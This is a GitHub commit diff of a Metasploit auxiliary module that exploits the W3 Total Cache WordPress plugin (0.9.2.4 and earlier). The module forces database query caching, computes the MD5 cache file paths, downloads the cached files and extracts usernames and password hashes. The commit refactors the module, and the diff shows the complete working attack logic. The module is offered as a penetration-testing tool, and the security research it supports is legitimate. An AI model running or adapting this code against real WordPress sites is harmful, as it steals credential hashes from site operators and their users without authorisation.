Skip to content

Commit 4ed085d

Browse files
committed
Land rapid7#3581, @firefart's update for W3 Total Cache Hash extract module
2 parents a79eec8 + 674c3ca commit 4ed085d

File tree

1 file changed

+52
-48
lines changed

1 file changed

+52
-48
lines changed

modules/auxiliary/gather/wp_w3_total_cache_hash_extract.rb

Lines changed: 52 additions & 48 deletions
Original file line numberDiff line numberDiff line change
@@ -6,16 +6,15 @@
66
require 'msf/core'
77

88
class Metasploit3 < Msf::Auxiliary
9-
10-
include Msf::Exploit::Remote::HttpClient
9+
include Msf::HTTP::Wordpress
1110
include Msf::Auxiliary::Report
1211
include Msf::Auxiliary::Scanner
1312

1413
def initialize
1514
super(
1615
'Name' => 'W3-Total-Cache Wordpress-plugin 0.9.2.4 (or before) Username and Hash Extract',
1716
'Description' =>
18-
"The W3-Total-Cache Wordpress Plugin <= 0.9.24 can cache database statements
17+
"The W3-Total-Cache Wordpress Plugin <= 0.9.2.4 can cache database statements
1918
and it's results in files for fast access. Version 0.9.2.4 has been fixed afterwards
2019
so it can be vulnerable. These cache files are in the webroot of the Wordpress
2120
installation and can be downloaded if the name is guessed. This modules tries to
@@ -25,76 +24,81 @@ def initialize
2524
'License' => MSF_LICENSE,
2625
'References' =>
2726
[
28-
[ 'OSVDB', '88744'],
29-
[ 'URL', 'http://seclists.org/fulldisclosure/2012/Dec/242']
27+
['OSVDB', '88744'],
28+
['URL', 'http://seclists.org/fulldisclosure/2012/Dec/242']
3029
],
3130
'Author' =>
3231
[
33-
'Christian Mehlmauer', # Metasploit module
34-
'Jason A. Donenfeld <Jason[at]zx2c4.com>' # POC
32+
'Christian Mehlmauer', # Metasploit module
33+
'Jason A. Donenfeld <Jason[at]zx2c4.com>' # POC
3534
]
3635
)
3736

3837
register_options(
3938
[
40-
OptString.new('TARGETURI', [ true, 'Wordpress root', '/']),
41-
OptString.new('TABLE_PREFIX', [ true, 'Wordpress table prefix', 'wp_']),
42-
OptInt.new('SITE_ITERATIONS', [ true, 'Number of sites to iterate', 25]),
43-
OptInt.new('USER_ITERATIONS', [ true, 'Number of users to iterate', 25]),
44-
OptString.new('WP_CONTENT_DIR', [ true, 'Wordpress content directory', 'wp-content'])
39+
OptString.new('TABLE_PREFIX', [true, 'Wordpress table prefix', 'wp_']),
40+
OptInt.new('SITE_ITERATIONS', [true, 'Number of sites to iterate', 25]),
41+
OptInt.new('USER_ITERATIONS', [true, 'Number of users to iterate', 25])
4542
], self.class)
4643
end
4744

48-
def wordpress_url
49-
url = target_uri
50-
url.path << "/" if url.path[-1,1] != "/"
51-
url
45+
def table_prefix
46+
datastore['TABLE_PREFIX']
47+
end
48+
49+
def site_iterations
50+
datastore['SITE_ITERATIONS']
51+
end
52+
53+
def user_iterations
54+
datastore['USER_ITERATIONS']
5255
end
5356

5457
# Call the User site, so the db statement will be cached
5558
def cache_user_info(user_id)
56-
user_url = normalize_uri(wordpress_url)
59+
user_url = normalize_uri(target_uri)
5760
begin
5861
send_request_cgi(
59-
{
60-
"uri" => user_url,
61-
"method" => "GET",
62-
"vars_get" => {
63-
"author" => user_id.to_s
64-
}
65-
})
62+
'uri' => user_url,
63+
'method' => 'GET',
64+
'vars_get' => {
65+
'author' => user_id.to_s
66+
}
67+
)
6668

6769
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
68-
vprint_error("Unable to connect to #{url}")
69-
return nil
70+
vprint_error("Unable to connect to #{user_url}")
7071
rescue ::Timeout::Error, ::Errno::EPIPE
71-
vprint_error("Unable to connect to #{url}")
72-
return nil
72+
vprint_error("Unable to connect to #{user_url}")
7373
end
74+
75+
nil
7476
end
7577

7678
def run_host(ip)
77-
7879
users_found = false
7980

80-
for site_id in 1..datastore["SITE_ITERATIONS"] do
81+
(1..site_iterations).each do |site_id|
82+
8183
vprint_status("Trying site_id #{site_id}...")
82-
for user_id in 1..datastore["USER_ITERATIONS"] do
84+
85+
(1..user_iterations).each do |user_id|
86+
8387
vprint_status("Trying user_id #{user_id}...")
88+
8489
# used to cache the statement
8590
cache_user_info(user_id)
86-
query="SELECT * FROM #{datastore["TABLE_PREFIX"]}users WHERE ID = '#{user_id}'"
91+
query = "SELECT * FROM #{table_prefix}users WHERE ID = '#{user_id}'"
8792
query_md5 = ::Rex::Text.md5(query)
88-
host = datastore["VHOST"] || ip
89-
key="w3tc_#{host}_#{site_id}_sql_#{query_md5}"
93+
host = datastore['VHOST'] || ip
94+
key = "w3tc_#{host}_#{site_id}_sql_#{query_md5}"
9095
key_md5 = ::Rex::Text.md5(key)
91-
hash_path = "/#{key_md5[0,1]}/#{key_md5[1,1]}/#{key_md5[2,1]}/#{key_md5}"
92-
url = normalize_uri(wordpress_url, datastore["WP_CONTENT_DIR"], "/w3tc/dbcache")
93-
url << hash_path
96+
hash_path = normalize_uri(key_md5[0, 1], key_md5[1, 1], key_md5[2, 1], key_md5)
97+
url = normalize_uri(wordpress_url_wp_content, 'w3tc', 'dbcache', hash_path)
9498

9599
result = nil
96100
begin
97-
result = send_request_cgi({ "uri" => url, "method" => "GET" })
101+
result = send_request_cgi('uri' => url, 'method' => 'GET')
98102
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
99103
print_error("Unable to connect to #{url}")
100104
break
@@ -103,8 +107,8 @@ def run_host(ip)
103107
break
104108
end
105109

106-
if result.nil? or result.body.nil?
107-
print_error("No response received")
110+
if result.nil? || result.body.nil?
111+
print_error('No response received')
108112
break
109113
end
110114

@@ -113,18 +117,18 @@ def run_host(ip)
113117
print_good("Username: #{match[0]}")
114118
print_good("Password Hash: #{match[1]}")
115119
report_auth_info(
116-
:host => rhost,
117-
:port => rport,
118-
:sname => ssl ? "https" : "http",
119-
:user => match[0],
120-
:pass => match[1],
121-
:active => true,
122-
:type => "hash"
120+
host: rhost,
121+
port: rport,
122+
sname: ssl ? 'https' : 'http',
123+
user: match[0],
124+
pass: match[1],
125+
active: true,
126+
type: 'hash'
123127
)
124128
users_found = true
125129
end
126130
end
127131
end
128-
print_error("No users found :(") unless users_found
132+
print_error('No users found :(') unless users_found
129133
end
130134
end

0 commit comments

Comments
 (0)